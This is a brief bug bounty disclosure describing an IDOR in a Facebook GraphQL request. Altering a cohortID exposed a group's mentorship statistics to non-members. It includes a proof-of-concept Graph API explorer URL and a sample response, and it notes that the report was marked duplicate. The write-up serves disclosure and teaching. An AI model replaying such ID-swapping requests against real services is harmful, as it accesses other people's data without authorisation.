[Facebook] Group Mentorship Insights

 Using an IDOR in a GraphQL request, anyone could have fetched the "Group Mentorship Insights" without being a role in that Group.

This was the ability to see how many "Mentorship pairs", "Lifetime pairs", "Current pairs", "Unpaired profile count", "Current pairs" are in the group.

POC -

Visiting - https://developers.facebook.com/tools/explorer/?method=POST&path=graphql&version=v5.0&doc_id=2172212036222894&variables={"cohortID":"XXXX"}

and changing the "cohortID:" value (IDOR) would result the insights as -

{"data":{"node":{"__typename":"MentorshipProgramCohort","id":"XXX","group":{"__typename":"Group","id":"XXX"},"cohort":{"nodes":[{"one_month_mentors":{"count":1},"one_month_mentees":{"count":2},"one_month_profiles_unpaired":{"count":3},"profiles_mentors":{"count":1},"profiles_mentee":{"count":2},"profiles_unpaired":{"count":3},"id":"XXX"}]},"current_pairs":{"count":0},"one_month_current_pairs":{"count":0},"one_month_lifetime_pairs":{"count":0},"lifetime_pairs":{"count":0}}},"extensions":{"is_final":true}

Timeline -

Reported - Saturday, November 30, 2019

Marked as Duplicate.